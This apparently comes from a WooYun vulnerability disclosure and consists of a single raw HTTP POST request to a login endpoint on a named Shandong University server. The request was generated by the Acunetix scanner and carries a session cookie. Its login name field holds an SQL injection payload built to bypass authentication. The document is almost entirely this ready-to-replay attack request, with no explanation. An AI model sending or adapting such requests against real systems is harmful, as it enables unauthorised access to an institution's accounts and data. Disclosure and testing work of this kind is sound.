WooYun.org

http://gsp.sdu.edu.cn

POST /bsuims/bsMainFrameInit.do HTTP/1.1
Content-Length: 1297
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_DJJNLSAJDQ
X-Requested-With: XMLHttpRequest
Referer: http://gsp.sdu.edu.cn
Cookie: JSESSIONID=540EB07FA2B9B3F624DFC51E644A9181
Host: gsp.sdu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_KBCNEOMLEG
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextName"
gspmsLoginPage
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextPara"
null
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="contextPath"
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="controlType"
frame
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="getPasswordAction"
############
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="itemName"
loginAction
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="loginAction"
######
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_autoLoginCheckbox"
1
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_strLoginName"
-1' OR 1=1* AND 000424=000424 or '83izvbDa'='
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="login_strPassword"
g00dPa$$w0rD
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="registration"
######
-------AcunetixBoundary_KBCNEOMLEG
Content-Disposition: form-data; name="sectionName"
login
-------AcunetixBoundary_KBCNEOMLEG--